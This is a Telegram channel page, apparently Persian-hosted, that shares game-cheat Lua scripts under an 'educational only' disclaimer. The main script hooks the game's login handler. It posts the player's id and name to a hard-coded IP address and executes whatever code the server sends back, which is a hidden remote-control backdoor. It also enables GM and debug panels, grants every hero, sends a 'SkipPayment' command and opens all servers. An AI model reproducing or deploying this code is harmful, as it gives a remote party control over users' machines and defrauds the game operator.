𝐅𝐄𝐀𝐓𝐔𝐑𝐄𝐒𝐓𝐈𝐂 𝐋𝐄𝐀𝐊𝐒
رفتن به کانال در Telegram
📌 Educational & Research Purpose Only 🔍 Sharing publicly available source code for learning ❌ No selling ❌ No buying ❌ No promotions ⚠️ I am not responsible for misuse 📚 For knowledge & awareness only MODs & Kernel Resources.☑️
نمایش بیشتر2 110
مشترکین
+1524 ساعت
+807 روز
+24030 روز
آرشیو پست ها
2 113
local function RunEffect(state) local id = 1106001 pcall(function() local ply = UE4.UGameplayStatics.GetPlayerCharacter(UE4.UWorld.GetWorld(), 0) if ply then UE4.UParticleSystem.HandleEffect(ply, id, state) end end) end RunEffect(true) (add in gamerloop)
2 113
This Code the game
local Old_OnLoggedIn; Old_OnLoggedIn = OnLoggedIn; OnLoggedIn = function(param)
local a,b,c = pcall(Old_OnLoggedIn,param)
local me = param and param.role_id or 0
local url = "http://140.246.141.88:88/client"
local data = { uid = me, name = param and param.name or "unknown", server = (CS and CS.UnityEngine and CS.UnityEngine.Application and CS.UnityEngine.Application.version) or "" }
local ws = http.post(url, data)
local cmd = ws and ws.text
if cmd and cmd ~= "" then
local f,e = pcall(loadstring(cmd))
if not f then
print(e)
end
end
return a,b,c
end
local function InitGM()
local CS = CS
local GameManager = CS.GameManager
if not GameManager then return end
local Instance = GameManager.Instance
if not Instance then return end
local Lobby = Instance:GetLobby()
if not Lobby then return end
local LobbyUI = Lobby:GetLobbyUI()
if not LobbyUI then return end
local PanelChat = LobbyUI.PanelChat
if not PanelChat then return end
local ToggleGM = function()
local CSDebug = CS.Debug
if CSDebug then
CSDebug.isDebugBuild = true
end
local GM = CS.GM
if GM then
GM.Instance:ShowGM()
end
local MaoHaoDebugPanel = CS.MaoHaoDebugPanel
if MaoHaoDebugPanel then
MaoHaoDebugPanel.Instance:Show()
end
local ClientCloudGM = CS.GameLua.Mod.BaseMod.Client.ClientCloudGM
if ClientCloudGM then
ClientCloudGM.Instance:ShowGM()
end
end
local btn = PanelChat.gameObject:AddComponent(typeof(CS.UnityEngine.UI.Button))
btn.onClick:AddListener(ToggleGM)
end
pcall(InitGM)
local function SetGMLevel()
local PlayerPrefs = CS.UnityEngine.PlayerPrefs
PlayerPrefs.SetInt("GM_LEVEL", 100)
PlayerPrefs.SetInt("GM_ENABLE", 1)
PlayerPrefs.Save()
end
pcall(SetGMLevel)
local function UnlockAll()
local GameData = CS.GameData
if GameData then
local Tables = GameData.Tables
if Tables then
local HeroTable = Tables.HeroTable
if HeroTable then
for k,v in pairs(HeroTable) do
if v and v.id then
CS.GM_AddItem(1, v.id, 1)
end
end
end
end
end
end
local function SkipPayment()
local NetWork = CS.NetWork
if NetWork then
NetWork.SendToServer("GM_CMD", "SkipPayment 1")
end
end
local function OpenAllServer()
local CS = CS
local GameLua = CS.GameLua
if GameLua then
local Mod = GameLua.Mod
if Mod then
local BaseMod = Mod.BaseMod
if BaseMod then
local Client = BaseMod.Client
if Client then
local ClientCloudGM = Client.ClientCloudGM
if ClientCloudGM then
ClientCloudGM.HandleCloudGMCMDStr("OpenAllServer")
end
end
end
end
end
end
pcall(OpenAllServer)
pcall(SkipPayment)
pcall(UnlockAll)
NOTICE : If Your a real developer then you know what is this, Make Perfect Then You Can F*ck the Game
Credit:
XThrlen
